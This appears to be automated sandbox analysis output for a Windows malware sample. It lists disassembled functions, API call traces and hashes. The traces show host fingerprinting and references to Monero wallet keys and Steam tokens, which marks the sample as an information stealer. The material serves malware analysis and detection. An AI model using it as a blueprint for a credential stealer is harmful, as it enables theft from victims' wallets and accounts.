Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: c590a29016fce6687857455c5b6609c7db83ba83f5a591fd7f3fd24a79160cac
Instruction ID: 6e3f7287121355e486c69055082f519e0d13b8309f3126f6fd9faaa368cf191d
Opcode Fuzzy Hash: c590a29016fce6687857455c5b6609c7db83ba83f5a591fd7f3fd24a79160cac
Instruction Fuzzy Hash: 4DE0867095930CFBEB106BA4DD0EB087678AB04B51F504154F7087A5C0D6B52600A799

Function 00781A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 00787500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00787542
Part of subcall function 00787500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0078757F
Part of subcall function 00787500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787603
Part of subcall function 00787500: RtlAllocateHeap.NTDLL(00000000), ref: 0078760A

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 00787690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007876A4
Part of subcall function 00787690: RtlAllocateHeap.NTDLL(00000000), ref: 007876AB

Part of subcall function 007877C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0078DBC0,000000FF,?,00781C99,00000000,?,014BD4D8,00000000,?), ref: 007877F2
Part of subcall function 007877C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0078DBC0,000000FF,?,00781C99,00000000,?,014BD4D8,00000000,?), ref: 007877F9

Part of subcall function 00787850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007711B7), ref: 00787880
Part of subcall function 00787850: RtlAllocateHeap.NTDLL(00000000), ref: 00787887
Part of subcall function 00787850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0078789F

Part of subcall function 007878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787910
Part of subcall function 007878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00787917
Part of subcall function 007878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0078792F

Part of subcall function 00787980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00790E00,00000000,?), ref: 007879B0
Part of subcall function 00787980: RtlAllocateHeap.NTDLL(00000000), ref: 007879B7
Part of subcall function 00787980: GetLocalTime.KERNEL32(?,?,?,?,?,00790E00,00000000,?), ref: 007879C4
Part of subcall function 00787980: wsprintfA.USER32 ref: 007879F3

Part of subcall function 00787A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014BDD78,00000000,?,00790E10,00000000,?,00000000,00000000), ref: 00787A63
Part of subcall function 00787A30: RtlAllocateHeap.NTDLL(00000000), ref: 00787A6A
Part of subcall function 00787A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014BDD78,00000000,?,00790E10,00000000,?,00000000,00000000,?), ref: 00787A7D

Part of subcall function 00787B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,014BDD78,00000000,?,00790E10,00000000,?,00000000,00000000), ref: 00787B35

Part of subcall function 00787B90: GetKeyboardLayoutList.USER32(00000000,00000000,007905AF), ref: 00787BE1
Part of subcall function 00787B90: LocalAlloc.KERNEL32(00000040,?), ref: 00787BF9
Part of subcall function 00787B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00787C0D
Part of subcall function 00787B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00787C62
Part of subcall function 00787B90: LocalFree.KERNEL32(00000000), ref: 00787D22

Part of subcall function 00787D80: GetSystemPowerStatus.KERNEL32(?), ref: 00787DAD

GetCurrentProcessId.KERNEL32(00000000,?,014BD518,00000000,?,00790E24,00000000,?,00000000,00000000,?,014BDD30,00000000,?,00790E20,00000000), ref: 0078207E

Part of subcall function 00789470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00789484
Part of subcall function 00789470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007894A5
Part of subcall function 00789470: CloseHandle.KERNEL32(00000000), ref: 007894AF

Part of subcall function 00787E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787E37
Part of subcall function 00787E00: RtlAllocateHeap.NTDLL(00000000), ref: 00787E3E
Part of subcall function 00787E00: RegOpenKeyExA.KERNEL32(80000002,014AB968,00000000,00020119,?), ref: 00787E5E
Part of subcall function 00787E00: RegQueryValueExA.KERNEL32(?,014BD5D8,00000000,00000000,000000FF,000000FF), ref: 00787E7F
Part of subcall function 00787E00: RegCloseKey.ADVAPI32(?), ref: 00787E92

Part of subcall function 00787F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00787FC9
Part of subcall function 00787F60: GetLastError.KERNEL32 ref: 00787FD8

Part of subcall function 00787ED0: GetSystemInfo.KERNEL32(00790E2C), ref: 00787F00
Part of subcall function 00787ED0: wsprintfA.USER32 ref: 00787F16

Part of subcall function 00788100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014BDDF0,00000000,?,00790E2C,00000000,?,00000000), ref: 00788130
Part of subcall function 00788100: RtlAllocateHeap.NTDLL(00000000), ref: 00788137
Part of subcall function 00788100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00788158
Part of subcall function 00788100: __aulldiv.LIBCMT ref: 00788172
Part of subcall function 00788100: __aulldiv.LIBCMT ref: 00788180
Part of subcall function 00788100: wsprintfA.USER32 ref: 007881AC

Part of subcall function 007887C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00790E28,00000000,?), ref: 0078882F
Part of subcall function 007887C0: RtlAllocateHeap.NTDLL(00000000), ref: 00788836
Part of subcall function 007887C0: wsprintfA.USER32 ref: 00788850

Part of subcall function 00788320: RegOpenKeyExA.KERNEL32(00000000,014BA9E0,00000000,00020019,00000000,007905B6), ref: 007883A4

Part of subcall function 00788320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00788426
Part of subcall function 00788320: wsprintfA.USER32 ref: 00788459
Part of subcall function 00788320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0078847B
Part of subcall function 00788320: RegCloseKey.ADVAPI32(00000000), ref: 0078848C
Part of subcall function 00788320: RegCloseKey.ADVAPI32(00000000), ref: 00788499

Part of subcall function 00788680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007905B7), ref: 007886CA
Part of subcall function 00788680: Process32First.KERNEL32(?,00000128), ref: 007886DE
Part of subcall function 00788680: Process32Next.KERNEL32(?,00000128), ref: 007886F3
Part of subcall function 00788680: CloseHandle.KERNEL32(?), ref: 00788761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0078265B

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: d363180f38f32a87f06e2c28bdbb3704acbbd1cee69303ff5cf5c6228ed3ea0a
Instruction ID: 0d5a33086bc9cb05b4070e794efa69edae9511bde0da86ff0b69afa9e8269d36
Opcode Fuzzy Hash: d363180f38f32a87f06e2c28bdbb3704acbbd1cee69303ff5cf5c6228ed3ea0a
Instruction Fuzzy Hash: AF722E72C54118FAEB1AFB50DC9ADDE7378AF54300F5042AAB51662051EF3C3B4ACB66

Function 00776D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442cb0142dd508e7da29bc48876cc2d9f006af1208117dc9774183b1a5e6fe8e
Instruction ID: 31be4139ae9a9620a1fe30db355814e424ef380b65049646c295db26da8622c5
Opcode Fuzzy Hash: 442cb0142dd508e7da29bc48876cc2d9f006af1208117dc9774183b1a5e6fe8e
Instruction Fuzzy Hash: 0E6108B4A00618DFCF14DF94E988BEEB7B0BB04344F108598E41967289D779AF94DF91

Function 00785100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A820: lstrlen.KERNEL32(00774F05,?,?,00774F05,00790DDE), ref: 0078A82B
Part of subcall function 0078A820: lstrcpy.KERNEL32(00790DDE,00000000), ref: 0078A885

lstrlen.KERNEL32(00000000,00000000,00790ACA), ref: 0078512A

Strings

steam_tokens.txt, xrefs: 0078513F

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 4b964d41d119e31ac0ba159f5271ab6638fd1b8d93378c0a95497b08289b8687
Instruction ID: e5406ecefd31d508e3072693617ff7d5d0665e44dc8e0b3c82b729477ed678c9
Opcode Fuzzy Hash: 4b964d41d119e31ac0ba159f5271ab6638fd1b8d93378c0a95497b08289b8687
Instruction Fuzzy Hash: 84F0FB71990108B6EB08F7A4EC5B9ED733CAB54340F808269B41662492EF3C6619C7A3

Function 00787ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00790E2C), ref: 00787F00
wsprintfA.USER32 ref: 00787F16

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 9547bf7ca5f995a7d0d2449a8e8ebc10692478ee9a6c98e05963ed68efd590a6
Instruction ID: 2e66a50aca8bd9c2436e189534e0dd9f127d446a303c242771f5e7488a040739
Opcode Fuzzy Hash: 9547bf7ca5f995a7d0d2449a8e8ebc10692478ee9a6c98e05963ed68efd590a6
Instruction Fuzzy Hash: 6AF062F1954208EBCB14DF85DD45FAAB7BCFB44624F004669F51592280D77959048BD1

Function 0077B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

lstrlen.KERNEL32(00000000), ref: 0077B9C2
lstrlen.KERNEL32(00000000), ref: 0077B9D6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ac4e333eea5bc5466fc7f9f5c25ef4b4f0465c506026e33fc0976f5b17789ddc
Instruction ID: 0da46383500d4da820d65c97b3ccb3e8f7ea968bc89622435cf9e6a9a71dd747
Opcode Fuzzy Hash: ac4e333eea5bc5466fc7f9f5c25ef4b4f0465c506026e33fc0976f5b17789ddc
Instruction Fuzzy Hash: A9E1CF72950118EAEF15FBA0DD9AEEE7378AF54300F40416AF50666091EF3C7A49CB72

Function 0077AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

lstrlen.KERNEL32(00000000), ref: 0077B16A
lstrlen.KERNEL32(00000000), ref: 0077B17E

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
